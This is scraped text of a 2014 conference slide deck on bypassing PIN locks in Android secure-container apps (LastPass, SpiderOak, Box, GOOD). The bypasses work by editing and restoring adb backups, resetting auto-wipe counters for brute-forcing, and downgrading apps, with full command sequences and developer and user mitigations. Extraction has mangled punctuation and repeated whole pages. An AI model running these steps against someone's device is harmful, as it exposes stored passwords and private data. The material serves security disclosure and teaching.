  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 39: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 40: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

